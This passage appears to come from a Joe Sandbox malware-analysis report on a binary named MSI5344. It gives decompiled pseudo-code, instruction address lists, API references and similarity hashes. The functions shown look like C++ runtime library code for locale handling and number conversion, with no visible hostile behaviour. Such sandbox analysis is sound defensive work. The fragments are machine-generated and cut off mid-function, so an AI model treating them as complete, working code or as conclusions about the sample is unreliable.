				 *0x7FF7AF737510 = r15d;
				 *0xaf737508 = 0xaf737570;
				 *0x7FF7AF737518 = _t653;
				 *0x7FF7AF737520 = _t653;
				 *0x7FF7AF737528 = _t653;
				_v120 = 0xaf737508;
				E00007FF77FF7AF6E9FB0(0xaf737508, 0xaf737508, _t597, _t615, _t650, __r10);
				 *0x7FF7AF737530 = E00007FF77FF7AF7083E0(0xaf737508, 0xaf737570, _t645);
				goto 0xaf6f8468;
				goto 0xaf6f84b5;
				if (_t615 != 0) goto 0xaf6f84aa;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t400 =  *0xaf753068 - _t653; // 0x0
				if (_t400 != 0) goto 0xaf6f849a;
				_t248 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t248 + 1;
				 *0xaf753068 = 0xaf737570;
				E00007FF77FF7AF6E8BDC(0xaf737570,  &_a16);
				_t616 =  *0xaf753068; // 0x0
				E00007FF77FF7AF6EC060(0x58, 0xaf737570, _t597);
				E00007FF77FF7AF6E6384(0xaf737570, _t651, 0xaf737570, _t597, _t616, _t616);
				if (_t597 != 0) goto 0xaf6f857b;
				_t648 =  *0xaf753070; // 0x0
				if (_t648 != 0) goto 0xaf6f8513;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t403 =  *0xaf753070 - _t653; // 0x0
				if (_t403 != 0) goto 0xaf6f8503;
				_t255 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t255 + 1;
				 *0xaf753070 = 0xaf737570;
				E00007FF77FF7AF6E8BDC(0xaf737570,  &_a16);
				E00007FF77FF7AF6D7860();
				_v120 = 0xaf737570;
				if (0xaf737570 == 0) goto 0xaf6f8570;
				 *0x7FF7AF737578 = r15d;
				 *0xaf737570 = 0xaf7375c8;
				 *0x7FF7AF737580 =  *0x7FF7AF737580 & 0x00000000;
				E00007FF77FF7AF71A864(0xaf737570, 0xaf737570, 0xaf737570, 0xaf737570);
				_t431 =  &_v120;
				if (0x7ff7af737580 == _t431) goto 0xaf6f8563;
				E00007FF77FF7AF70F228(0xaf7375c8,  *0x7FF7AF737580, 0xaf737570, 0xaf737570, _t621, _t616);
				 *0x7FF7AF737580 = 0xaf7375c8;
				r15d = 0;
				goto 0xaf6f8566;
				r15d = 0;
				E00007FF77FF7AF70F228(0xaf7375c8, 0xaf7375c8, 0xaf737570, 0xaf737570, _t621, _t616);
				goto 0xaf6f8573;
				goto 0xaf6f85d0;
				_t471 =  *0xaf753070; // 0x0
				if (_t471 != 0) goto 0xaf6f85c2;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t407 =  *0xaf753070 - 0x7ff7af737580; // 0x0
				if (_t407 != 0) goto 0xaf6f85b2;
				_t263 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t263 + 1;
				 *0xaf753070 = _t431;
				E00007FF77FF7AF6E8BDC(_t431,  &_a16);
				_t472 =  *0xaf753070; // 0x0
				E00007FF77FF7AF6EC290(0x18, _t431, _t597);
				E00007FF77FF7AF6E6384(_t472, _t651, _t431, _t597, 0x7ff7af737580, _t472);
				if (_v136 == r15d) goto 0xaf6f86e8;
				if (_t597 != 0) goto 0xaf6f868b;
				_t598 =  *0xaf752dd8; // 0x0
				if (_t598 != 0) goto 0xaf6f8632;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t411 =  *0xaf752dd8 - 0x7ff7af737580; // 0x0
				if (_t411 != 0) goto 0xaf6f8622;
				_t270 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t270 + 1;
				 *0xaf752dd8 = _t431;
				E00007FF77FF7AF6E8BDC(_t431,  &_a16);
				_t599 =  *0xaf752dd8; // 0x0
				E00007FF77FF7AF6D7860();
				_t473 = _t431;
				_v120 = _t431;
				if (_t431 == 0) goto 0xaf6f8680;
				 *((intOrPtr*)(_t431 + 8)) = r15d;
				 *_t473 = 0xaf736d30;
				E00007FF77FF7AF6E8FC0(0xaf736d30, _t473,  &_v88, _t646);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x20], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebx+0x30], xmm0");
				 *((intOrPtr*)(_t473 + 0x38)) =  *0x7FF7AF736D58;
				goto 0xaf6f8683;
				goto 0xaf6f86e0;
				_t475 =  *0xaf752dd8; // 0x0
				if (_t475 != 0) goto 0xaf6f86d2;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t414 =  *0xaf752dd8 - 0x7ff7af737580; // 0x0
				if (_t414 != 0) goto 0xaf6f86c2;
				_t277 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t277 + 1;
				 *0xaf752dd8 = 0xaf736d30;
				E00007FF77FF7AF6E8BDC(0xaf736d30,  &_a16);
				_t476 =  *0xaf752dd8; // 0x0
				E00007FF77FF7AF6EAB98(0x40, 0xaf736d30, _t599);
				return E00007FF77FF7AF6E6384(_t476, _t651, 0xaf736d30, _t599, 0x7ff7af737580, _t476);
			}

0x7ff7af6f7a64
0x7ff7af6f7a64
0x7ff7af6f7a64
0x7ff7af6f7a64
0x7ff7af6f7a69
0x7ff7af6f7a6e
0x7ff7af6f7a86
0x7ff7af6f7a89
0x7ff7af6f7a8c
0x7ff7af6f7a8f
0x7ff7af6f7a92
0x7ff7af6f7a9a
0x7ff7af6f7a9d
0x7ff7af6f7aa6
0x7ff7af6f7aac
0x7ff7af6f7ab6
0x7ff7af6f7abe
0x7ff7af6f7ac3
0x7ff7af6f7aca
0x7ff7af6f7acc
0x7ff7af6f7ad4
0x7ff7af6f7adc
0x7ff7af6f7ae7
0x7ff7af6f7aec
0x7ff7af6f7af8
0x7ff7af6f7afd
0x7ff7af6f7b00
0x7ff7af6f7b07
0x7ff7af6f7b09
0x7ff7af6f7b14
0x7ff7af6f7b1b
0x7ff7af6f7b20
0x7ff7af6f7b23
0x7ff7af6f7b27
0x7ff7af6f7b2b
0x7ff7af6f7b33
0x7ff7af6f7b38
0x7ff7af6f7b3b
0x7ff7af6f7b3f
0x7ff7af6f7b43
0x7ff7af6f7b47
0x7ff7af6f7b4c
0x7ff7af6f7b54
0x7ff7af6f7b57
0x7ff7af6f7b62
0x7ff7af6f7b64
0x7ff7af6f7b6e
0x7ff7af6f7b76
0x7ff7af6f7b7b
0x7ff7af6f7b82
0x7ff7af6f7b84
0x7ff7af6f7b8c
0x7ff7af6f7b94
0x7ff7af6f7b9f
0x7ff7af6f7ba4
0x7ff7af6f7bae
0x7ff7af6f7bbc
0x7ff7af6f7bc5
0x7ff7af6f7bcb
0x7ff7af6f7bd5
0x7ff7af6f7bda
0x7ff7af6f7be2
0x7ff7af6f7be7
0x7ff7af6f7bee
0x7ff7af6f7bf0
0x7ff7af6f7bf8
0x7ff7af6f7c00
0x7ff7af6f7c0b
0x7ff7af6f7c10
0x7ff7af6f7c1c
0x7ff7af6f7c21
0x7ff7af6f7c28
0x7ff7af6f7c2a
0x7ff7af6f7c35
0x7ff7af6f7c38
0x7ff7af6f7c3a
0x7ff7af6f7c3d
0x7ff7af6f7c42
0x7ff7af6f7c4a
0x7ff7af6f7c4f
0x7ff7af6f7c56
0x7ff7af6f7c58
0x7ff7af6f7c60
0x7ff7af6f7c68
0x7ff7af6f7c73
0x7ff7af6f7c78
0x7ff7af6f7c82
0x7ff7af6f7c93
0x7ff7af6f7c98
0x7ff7af6f7ca2
0x7ff7af6f7ca7
0x7ff7af6f7caf
0x7ff7af6f7cb4
0x7ff7af6f7cbb
0x7ff7af6f7cbd
0x7ff7af6f7cc5
0x7ff7af6f7ccd
0x7ff7af6f7cd8
0x7ff7af6f7cdd
0x7ff7af6f7ce9
0x7ff7af6f7cee
0x7ff7af6f7cf5
0x7ff7af6f7cf7
0x7ff7af6f7d02
0x7ff7af6f7d05
0x7ff7af6f7d07
0x7ff7af6f7d0a
0x7ff7af6f7d0f
0x7ff7af6f7d17
0x7ff7af6f7d1c
0x7ff7af6f7d23
0x7ff7af6f7d25
0x7ff7af6f7d2d
0x7ff7af6f7d35
0x7ff7af6f7d40
0x7ff7af6f7d45
0x7ff7af6f7d4f
0x7ff7af6f7d5d
0x7ff7af6f7d65
0x7ff7af6f7d6b
0x7ff7af6f7d75
0x7ff7af6f7d7d
0x7ff7af6f7d82
0x7ff7af6f7d89
0x7ff7af6f7d8b
0x7ff7af6f7d93
0x7ff7af6f7d9b
0x7ff7af6f7da6
0x7ff7af6f7dab
0x7ff7af6f7db7
0x7ff7af6f7dbf
0x7ff7af6f7dc6
0x7ff7af6f7dc8
0x7ff7af6f7dd3
0x7ff7af6f7dd6
0x7ff7af6f7ddf
0x7ff7af6f7de5
0x7ff7af6f7df0
0x7ff7af6f7df2
0x7ff7af6f7dfc
0x7ff7af6f7e04
0x7ff7af6f7e09
0x7ff7af6f7e10
0x7ff7af6f7e12
0x7ff7af6f7e1a
0x7ff7af6f7e22
0x7ff7af6f7e2d
0x7ff7af6f7e32
0x7ff7af6f7e3c
0x7ff7af6f7e4a
0x7ff7af6f7e53
0x7ff7af6f7e67
0x7ff7af6f7e70
0x7ff7af6f7e76
0x7ff7af6f7e80
0x7ff7af6f7e88
0x7ff7af6f7e8d
0x7ff7af6f7e94
0x7ff7af6f7e96
0x7ff7af6f7e9e
0x7ff7af6f7ea6
0x7ff7af6f7eb1
0x7ff7af6f7eb6
0x7ff7af6f7ec2
0x7ff7af6f7eca
0x7ff7af6f7ed1
0x7ff7af6f7ed3
0x7ff7af6f7ede
0x7ff7af6f7ee5
0x7ff7af6f7eea
0x7ff7af6f7eed
0x7ff7af6f7ef2
0x7ff7af6f7efd
0x7ff7af6f7eff
0x7ff7af6f7f09
0x7ff7af6f7f11
0x7ff7af6f7f16
0x7ff7af6f7f1d
0x7ff7af6f7f1f
0x7ff7af6f7f27
0x7ff7af6f7f2f
0x7ff7af6f7f3a
0x7ff7af6f7f3f
0x7ff7af6f7f49
0x7ff7af6f7f57
0x7ff7af6f7f60
0x7ff7af6f7f66
0x7ff7af6f7f70
0x7ff7af6f7f75
0x7ff7af6f7f7d
0x7ff7af6f7f82
0x7ff7af6f7f89
0x7ff7af6f7f8b
0x7ff7af6f7f93
0x7ff7af6f7f9b
0x7ff7af6f7fa6
0x7ff7af6f7fab
0x7ff7af6f7fb7
0x7ff7af6f7fbc
0x7ff7af6f7fc3
0x7ff7af6f7fc5
0x7ff7af6f7fd0
0x7ff7af6f7fd3
0x7ff7af6f7fd5
0x7ff7af6f7fd8
0x7ff7af6f7fdd
0x7ff7af6f7fe5
0x7ff7af6f7fea
0x7ff7af6f7ff1
0x7ff7af6f7ff3
0x7ff7af6f7ffb
0x7ff7af6f8003
0x7ff7af6f800e
0x7ff7af6f8013
0x7ff7af6f801d
0x7ff7af6f802b
0x7ff7af6f8034
0x7ff7af6f803a
0x7ff7af6f8044
0x7ff7af6f8049
0x7ff7af6f8051
0x7ff7af6f8056
0x7ff7af6f805d
0x7ff7af6f805f
0x7ff7af6f8067
0x7ff7af6f806f
0x7ff7af6f807a
0x7ff7af6f807f
0x7ff7af6f808b
0x7ff7af6f8090
0x7ff7af6f8097
0x7ff7af6f8099
0x7ff7af6f80a4
0x7ff7af6f80a7
0x7ff7af6f80a9
0x7ff7af6f80ac
0x7ff7af6f80b1
0x7ff7af6f80b9
0x7ff7af6f80be
0x7ff7af6f80c5
0x7ff7af6f80c7
0x7ff7af6f80cf
0x7ff7af6f80d7
0x7ff7af6f80e2
0x7ff7af6f80e7
0x7ff7af6f80f1
0x7ff7af6f80f6
0x7ff7af6f8102
0x7ff7af6f8109
0x7ff7af6f8113
0x7ff7af6f8118
0x7ff7af6f8120
0x7ff7af6f8125
0x7ff7af6f812c
0x7ff7af6f812e
0x7ff7af6f8136
0x7ff7af6f813e
0x7ff7af6f8149
0x7ff7af6f814e
0x7ff7af6f815a
0x7ff7af6f815f
0x7ff7af6f8166
0x7ff7af6f8168
0x7ff7af6f8172
0x7ff7af6f8175
0x7ff7af6f8177
0x7ff7af6f817a
0x7ff7af6f817f
0x7ff7af6f8187
0x7ff7af6f818c
0x7ff7af6f8193
0x7ff7af6f8195
0x7ff7af6f819d
0x7ff7af6f81a5
0x7ff7af6f81b0
0x7ff7af6f81b5
0x7ff7af6f81bf
0x7ff7af6f81cd
0x7ff7af6f81d2
0x7ff7af6f81dc
0x7ff7af6f81e5
0x7ff7af6f81ed
0x7ff7af6f81f2
0x7ff7af6f81f9
0x7ff7af6f81fb
0x7ff7af6f8203
0x7ff7af6f820b
0x7ff7af6f8216
0x7ff7af6f821b
0x7ff7af6f8227
0x7ff7af6f822c
0x7ff7af6f822f
0x7ff7af6f8236
0x7ff7af6f8238
0x7ff7af6f8243
0x7ff7af6f8246
0x7ff7af6f824a
0x7ff7af6f8253
0x7ff7af6f8260
0x7ff7af6f8263
0x7ff7af6f8267
0x7ff7af6f826c
0x7ff7af6f8274
0x7ff7af6f8279
0x7ff7af6f8280
0x7ff7af6f8282
0x7ff7af6f828a
0x7ff7af6f8292
0x7ff7af6f829d
0x7ff7af6f82a2
0x7ff7af6f82ac
0x7ff7af6f82bd
0x7ff7af6f82c2
0x7ff7af6f82c8
0x7ff7af6f82ce
0x7ff7af6f82d8
0x7ff7af6f82e0
0x7ff7af6f82e5
0x7ff7af6f82ec
0x7ff7af6f82ee
0x7ff7af6f82f6
0x7ff7af6f82fe
0x7ff7af6f8309
0x7ff7af6f830e
0x7ff7af6f831a
0x7ff7af6f8322
0x7ff7af6f8329
0x7ff7af6f832b
0x7ff7af6f8336
0x7ff7af6f8339
0x7ff7af6f833d
0x7ff7af6f8346
0x7ff7af6f8353
0x7ff7af6f8356
0x7ff7af6f8361
0x7ff7af6f8363
0x7ff7af6f836d
0x7ff7af6f8375
0x7ff7af6f837a
0x7ff7af6f8381
0x7ff7af6f8383
0x7ff7af6f838b
0x7ff7af6f8393
0x7ff7af6f839e
0x7ff7af6f83a3
0x7ff7af6f83ad
0x7ff7af6f83bb
0x7ff7af6f83c4
0x7ff7af6f83ca
0x7ff7af6f83d4
0x7ff7af6f83dd
0x7ff7af6f83e5
0x7ff7af6f83ea
0x7ff7af6f83f1
0x7ff7af6f83f3
0x7ff7af6f83fb
0x7ff7af6f8403
0x7ff7af6f840e
0x7ff7af6f8413
0x7ff7af6f841f
0x7ff7af6f8427
0x7ff7af6f842e
0x7ff7af6f8430
0x7ff7af6f843b
0x7ff7af6f843e
0x7ff7af6f8442
0x7ff7af6f8446
0x7ff7af6f844a
0x7ff7af6f8456
0x7ff7af6f8460
0x7ff7af6f8463
0x7ff7af6f8468
0x7ff7af6f846d
0x7ff7af6f8475
0x7ff7af6f847a
0x7ff7af6f8481
0x7ff7af6f8483
0x7ff7af6f848b
0x7ff7af6f8493
0x7ff7af6f849e
0x7ff7af6f84a3
0x7ff7af6f84ad
0x7ff7af6f84be
0x7ff7af6f84c6
0x7ff7af6f84cc
0x7ff7af6f84d6
0x7ff7af6f84de
0x7ff7af6f84e3
0x7ff7af6f84ea
0x7ff7af6f84ec
0x7ff7af6f84f4
0x7ff7af6f84fc
0x7ff7af6f8507
0x7ff7af6f8518
0x7ff7af6f8520
0x7ff7af6f8527
0x7ff7af6f8529
0x7ff7af6f8534
0x7ff7af6f853b
0x7ff7af6f853f
0x7ff7af6f8547
0x7ff7af6f854e
0x7ff7af6f8553
0x7ff7af6f8558
0x7ff7af6f855b
0x7ff7af6f8561
0x7ff7af6f8563
0x7ff7af6f8569
0x7ff7af6f856e
0x7ff7af6f8579
0x7ff7af6f857b
0x7ff7af6f8585
0x7ff7af6f858d
0x7ff7af6f8592
0x7ff7af6f8599
0x7ff7af6f859b
0x7ff7af6f85a3
0x7ff7af6f85ab
0x7ff7af6f85b6
0x7ff7af6f85bb
0x7ff7af6f85c5
0x7ff7af6f85d3
0x7ff7af6f85dc
0x7ff7af6f85e5
0x7ff7af6f85eb
0x7ff7af6f85f5
0x7ff7af6f85fd
0x7ff7af6f8602
0x7ff7af6f8609
0x7ff7af6f860b
0x7ff7af6f8613
0x7ff7af6f861b
0x7ff7af6f8626
0x7ff7af6f862b
0x7ff7af6f8637
0x7ff7af6f863c
0x7ff7af6f863f
0x7ff7af6f8646
0x7ff7af6f8648
0x7ff7af6f8653
0x7ff7af6f865a
0x7ff7af6f865f
0x7ff7af6f8662
0x7ff7af6f8666
0x7ff7af6f866a
0x7ff7af6f866e
0x7ff7af6f8673
0x7ff7af6f867b
0x7ff7af6f867e
0x7ff7af6f8689
0x7ff7af6f868b
0x7ff7af6f8695
0x7ff7af6f869d
0x7ff7af6f86a2
0x7ff7af6f86a9
0x7ff7af6f86ab
0x7ff7af6f86b3
0x7ff7af6f86bb
0x7ff7af6f86c6
0x7ff7af6f86cb
0x7ff7af6f86d5
0x7ff7af6f8708

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7ABE
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7AE7
_Getctype.LIBCPMT ref: 00007FF7AF6F7B1B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7B76
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7B9F
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7BE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7C0B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7C4A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7C73
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7CAF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7CD8
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7D17
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7D40
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7D7D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7DA6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7E04
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7E2D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7E88
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7EB1
_Getcoll.LIBCPMT ref: 00007FF7AF6F7EE5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7F11
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7F3A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F7F7D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F7FA6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8051
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F807A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8120
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8149
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F81ED
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8216
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8274
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F829D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F82E0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8309
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8375
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F839E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F83E5
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F840E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8475
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F849E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F84DE
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8507
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F858D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F85B6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F85FD
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8626
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F869D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F86C6

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$GetcollGetctype
String ID:
API String ID: 19648113-0
Opcode ID: 39877eb42469cc8e33e0612571a041950705b0ef86114626af39caeb1acee6b9
Instruction ID: db9ffab186b2b3097813a87e6c5bac652d6bd0ab0bf43103f0017500fb9ee855
Opcode Fuzzy Hash: 39877eb42469cc8e33e0612571a041950705b0ef86114626af39caeb1acee6b9
Instruction Fuzzy Hash: BF822166E0BBC295EB85BB21D8502F9B3A6AF48780FCA5135D90D477B5DE3CE845C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7155C4 Relevance: 47.4, APIs: 24, Strings: 2, Instructions: 1877
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 75%

			E00007FF77FF7AF7155C4(long long __rbx, signed int* __rcx, signed int __rdx, void* __r11) {
				void* __rsi;
				void* __rbp;
				void* __r13;
				intOrPtr _t881;
				unsigned int _t893;
				intOrPtr _t899;
				signed int _t922;
				unsigned int _t931;
				intOrPtr _t937;
				signed int _t960;
				unsigned int _t984;
				intOrPtr _t989;
				unsigned int _t1009;
				unsigned int _t1030;
				unsigned int _t1058;
				void* _t1071;
				void* _t1072;
				signed int _t1082;
				signed int _t1095;
				void* _t1110;
				void* _t1114;
				void* _t1119;
				intOrPtr _t1124;
				signed int _t1126;
				intOrPtr _t1131;
				signed int _t1133;
				signed int _t1140;
				signed int _t1142;
				signed int _t1155;
				signed int _t1164;
				signed int _t1167;
				unsigned int _t1175;
				unsigned int _t1178;
				signed int _t1182;
				unsigned int _t1187;
				signed int _t1191;
				signed int _t1194;
				void* _t1200;
				signed int _t1240;
				signed int _t1270;
				void* _t1291;
				signed int _t1296;
				signed int _t1298;
				signed int _t1306;
				signed int _t1323;
				unsigned int _t1324;
				signed int _t1335;
				signed int _t1339;
				signed int _t1343;
				signed int _t1346;
				void* _t1395;
				void* _t1441;
				signed int _t1449;
				char _t1548;
				signed int _t1549;
				void* _t1550;
				void* _t1562;
				void* _t1576;
				signed long long _t1585;
				signed long long _t1588;
				signed long long _t1592;
				signed long long _t1597;
				signed long long _t1603;
				signed long long _t1604;
				intOrPtr _t1605;
				signed int _t1607;
				signed int _t1611;
				signed long long _t1616;
				signed long long _t1626;
				signed long long _t1632;
				void* _t1654;
				signed long long _t1656;
				void* _t1667;
				signed long long _t1675;
				signed long long _t1678;
				void* _t1690;
				signed long long _t1701;
				signed long long _t1704;
				signed long long _t1705;
				signed int _t1719;
				signed long long _t1723;
				signed long long _t1730;
				signed long long _t1733;
				signed long long _t1734;
				intOrPtr* _t1735;
				signed long long _t1741;
				signed long long _t1744;
				signed long long _t1745;
				signed long long _t1752;
				signed long long _t1755;
				signed long long _t1758;
				signed long long _t1760;
				unsigned long long _t1762;
				signed long long _t1766;
				signed long long _t1767;
				signed long long _t1768;
				signed long long _t1770;
				signed long long _t1771;
				signed long long _t1772;
				signed long long _t1773;
				signed long long _t1774;
				void* _t1777;
				void* _t1778;
				void* _t1780;
				signed long long _t1781;
				long long _t1784;
				signed long long _t1793;
				signed long long _t1796;
				signed long long _t1797;
				signed long long _t1805;
				signed long long _t1807;
				signed long long _t1808;
				signed int* _t1811;
				void* _t1825;
				void* _t1843;
				void* _t1849;
				void* _t1850;
				signed int* _t1859;
				void* _t1875;
				signed long long _t1883;
				void* _t1884;
				void* _t1894;
				void* _t1897;
				void* _t1899;
				void* _t1901;
				void* _t1904;

				_t1875 = __r11;
				 *((long long*)(_t1780 + 0x18)) = __rbx;
				_t1778 = _t1780 - 0xa70;
				_t1781 = _t1780 - 0xb70;
				_t1585 =  *0xaf751030; // 0xa13e9e6732fb
				 *(_t1778 + 0xa60) = _t1585 ^ _t1781;
				r10d =  *__rcx;
				_t1852 = __rcx;
				 *((long long*)(_t1781 + 0x60)) = __rdx;
				asm("sbb eax, eax");
				 *((long long*)(_t1781 + 0x58)) = __rcx;
				r11d = 0;
				 *(_t1781 + 0x50) = ( ~( *(__rdx + 8)) & 0x0000001d) + 0x19;
				 *(_t1778 + 0x320) = r11d;
				r10d =  <  ? r11d : r10d;
				r14d = r11d;
				_t12 = _t1875 + 0x26; // 0x26
				r15d = r11d;
				_t881 =  >=  ? __rcx[1] : r10d;
				r13d = r11d;
				r10d = r10d - _t881;
				_t1784 =  &(__rcx[2]) + __rcx;
				 *(_t1781 + 0x30) = r10d;
				 *((long long*)(_t1781 + 0x78)) = _t1784;
				_t1588 =  &(__rcx[2]) + __rdx;
				_t1859 =  &(__rcx[2]);
				 *(_t1781 + 0x70) = _t1588;
				 *(_t1781 + 0x40) = _t881 - r8d;
				if (_t1859 == _t1784) goto 0xaf715cb1;
				if (r13d != 9) goto 0xaf715776;
				if (r14d == 0) goto 0xaf715705;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				_t1616 = _t1588 * 0x3b9aca00 + _t1588;
				 *((intOrPtr*)(_t1778 + 0x324 + __rdx * 4)) = _t881;
				if (r9d != r14d) goto 0xaf715691;
				if (r8d == 0) goto 0xaf7156f9;
				if ( *(_t1778 + 0x320) - 0x73 >= 0) goto 0xaf7156ed;
				 *(_t1778 + 0x324 + _t1588 * 4) = r8d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf715700;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				goto 0xaf715700;
				r14d =  *(_t1778 + 0x320);
				if (r15d == 0) goto 0xaf715770;
				if (r14d == 0) goto 0xaf715742;
				 *(_t1778 + 0x324 + _t1616 * 4) = r15d;
				r14d =  *(_t1778 + 0x320);
				if (r11d + 1 != r14d) goto 0xaf715712;
				if (r15d == 0) goto 0xaf715770;
				if (r14d - 0x73 >= 0) goto 0xaf715766;
				 *(_t1778 + 0x324 + _t1588 * 4) = r15d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf715770;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				r15d = r11d;
				r13d = r11d;
				r13d = r13d + 1;
				r15d = _t1588 + _t1616 * 2;
				if ( &(_t1859[0]) !=  *((intOrPtr*)(_t1781 + 0x78))) goto 0xaf71567c;
				if (r13d == 0) goto 0xaf715cb1;
				_t893 = 0xcccccccd * r13d >> 0x20 >> 3;
				 *(_t1781 + 0x38) = _t893;
				 *(_t1781 + 0x3c) = _t893;
				if (_t893 == 0) goto 0xaf715b88;
				_t895 =  >  ? _t12 : _t893;
				 *(_t1781 + 0x34) =  >  ? _t12 : _t893;
				_t1603 = _t1616 * 4;
				 *(_t1778 + 0x6c0) = _t1770 + _t1616;
				E00007FF77FF7AF70ABF0();
				_t1771 = _t1770 << 2;
				E00007FF77FF7AF70AFB0();
				r10d =  *(_t1778 + 0x6c0);
				if (r10d - 1 > 0) goto 0xaf715899;
				_t899 =  *((intOrPtr*)(_t1778 + 0x6c4));
				r11d = 0;
				if (_t899 != 0) goto 0xaf71584f;
				r14d = r11d;
				 *(_t1778 + 0x320) = r11d;
				goto 0xaf715991;
				if (_t899 == 1) goto 0xaf715991;
				if (r14d == 0) goto 0xaf715991;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0xaf71586a;
				goto 0xaf71594c;
				if (r14d - 1 > 0) goto 0xaf7159a0;
				_t1114 =  *(_t1778 + 0x324);
				_t1793 = _t1588 << 2;
				r11d = 0;
				 *(_t1778 + 0x320) = r10d;
				r14d = r10d;
				if (_t1793 == 0) goto 0xaf715907;
				if (_t1793 - 0x1cc > 0) goto 0xaf7158e0;
				E00007FF77FF7AF70AFB0();
				goto 0xaf7158fd;
				r8d = 0x1cc;
				E00007FF77FF7AF70ABF0();
				E00007FF77FF7AF70F830(_t1588);
				 *_t1588 = 0x22;
				E00007FF77FF7AF70F6C4();
				r14d =  *(_t1778 + 0x320);
				r11d = 0;
				if (_t1114 == 0) goto 0xaf715840;
				if (_t1114 == 1) goto 0xaf715991;
				if (r14d == 0) goto 0xaf715991;
				r8d = r11d;
				r9d = r11d;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0xaf715922;
				if (r8d == 0) goto 0xaf71598a;
				if ( *(_t1778 + 0x320) - 0x73 >= 0) goto 0xaf71597b;
				 *(_t1778 + 0x324 + _t1588 * 4) = r8d;
				r14d =  *(_t1778 + 0x320);
				r14d = r14d + 1;
				 *(_t1778 + 0x320) = r14d;
				goto 0xaf715991;
				 *(_t1778 + 0x320) = r11d;
				r14d = r11d;
				goto 0xaf715993;
